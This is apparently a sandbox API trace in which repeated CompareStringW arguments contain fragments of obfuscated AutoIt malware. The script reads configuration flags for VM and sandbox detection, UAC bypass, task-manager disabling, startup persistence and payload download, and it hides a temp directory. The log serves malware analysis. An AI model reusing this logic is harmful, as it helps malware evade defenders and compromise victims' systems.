Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B1", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18B", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="62A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' 